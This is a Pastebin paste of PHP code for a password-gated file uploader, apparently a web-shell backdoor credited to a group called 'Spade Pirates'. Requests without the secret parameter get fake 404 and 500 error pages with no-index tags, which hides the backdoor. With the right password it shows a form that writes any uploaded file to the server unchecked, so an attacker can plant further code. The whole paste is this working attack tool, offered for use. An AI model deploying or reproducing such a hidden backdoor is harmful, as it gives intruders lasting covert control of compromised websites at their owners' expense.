Advertisement
0xspade

wenk uploader

Aug 28th, 2016
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.51 KB | None | 0 0
  1. if(isset($_GET["spade"])){
  2.         if(md5($_GET["spade"]) == "30086c3fc9860cc42cccbb42747903f9"){
  3.             echo "
  4.            <head>
  5.                 <title>Spade | Uploader</title>
  6.                 <style>
  7.                     body{text-align: center;background: #1a1a1a url('https://s-media-cache-ak0.pinimg.com/736x/c9/84/27/c98427af555b40650924478f2aec3878.jpg');color: white; font-family: 'OCR A','Courier New';}
  8.                     form{margin-top: 3%;}
  9.                     #_upl{outline: none; color: #111111;}
  10.                     input{outline: none;}
  11.                     .note{font-size: 80%; margin-top: 8%;}
  12.                     h1{font-size: 100%; margin-top: 4%;}
  13.                     footer{position: fixed; bottom: 0;margin-bottom: 1%; left: 40%; font-size: 75%;}
  14.                 </style>
  15.            </head>
  16.            <body>
  17.                 <h1>Spade Pirates | Uploader</h1>
  18.                 <h1 class='note'>Only Real Spade Pirate can Upload here :)</h1>
  19.                <form action='' method='post' enctype='multipart/form-data' name='uploader' id='uploader'>
  20.                    <input type='file' name='file'>
  21.                    <input name='_upl' type='submit' id='_upl' value='Upload'/>
  22.                    <footer>All Right Reserved | Spade Pirates 2016</footer>
  23.                </form>
  24.              </body>
  25.            ";
  26.            
  27.             if($_POST["_upl"] == "Upload" ) {
  28.                 if(@copy($_FILES["file"]["tmp_name"], $_FILES['file']['name'])){
  29.                     echo "<b>[&#8730;]<a href='".$_FILES['file']['name']."'>File Uploaded</a>[&#8730;]</b><br><br>";
  30.                     }
  31.             }
  32.         }else{
  33.             //if pass is not set
  34.             echo "
  35.             <!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
  36.                 <html><head>
  37.                 <title>500 Internal Server Error</title>
  38.                 </head><body>
  39.                 <h1>Internal Server Error</h1>
  40.                 <p>The server encountered an internal error or
  41.                 misconfiguration and was unable to complete
  42.                 your request.</p>
  43.                 <p>Please contact the server administrator,
  44.                  and inform them of the time the error occurred,
  45.                 and anything you might have done that may have
  46.                 caused the error.</p>
  47.                 <p>More information about this error may be available
  48.                 in the server error log.</p>
  49.                 </body></html>         
  50.             ";
  51.            
  52.             }
  53.     }else{
  54.        
  55.         //if spade is not set
  56.         echo "
  57.             <title>404 - File or directory not found.</title>
  58.             <meta name='ROBOTS'       content='NOINDEX, NOFOLLOW, NOARCHIVE' />
  59.             <meta name='GOOGLEBOT'    content='NOINDEX, NOFOLLOW, NOARCHIVE' />
  60.             <style type='text/css'>
  61.             body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
  62.             fieldset{padding:0 15px 10px 15px;}
  63.             h1{font-size:2.4em;margin:0;color:#FFF;}
  64.             h2{font-size:1.7em;margin:0;color:#CC0000;}
  65.             h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
  66.             #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:'trebuchet MS', Verdana, sans-serif;color:#FFF;
  67.             background-color:#555555;}
  68.             #content{margin:0 0 0 2%;position:relative;}
  69.             .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
  70.             input {
  71.                 background-color:transparent;
  72.                 border: 0px solid;
  73.                 height:30px;
  74.                 width:142px;
  75.             }
  76.             input:focus {
  77.                 outline:none;
  78.             }
  79.             </style>
  80.             <body>
  81.             <div id='header'><h1>Server Error</h1></div>
  82.             <div id='content'>
  83.              <div class='content-container'><fieldset>
  84.               <h2>404 - File or directory not found.</h2>
  85.               <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
  86.              </fieldset></div>
  87.             </div>
  88.             </body>    
  89.        ";
  90.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement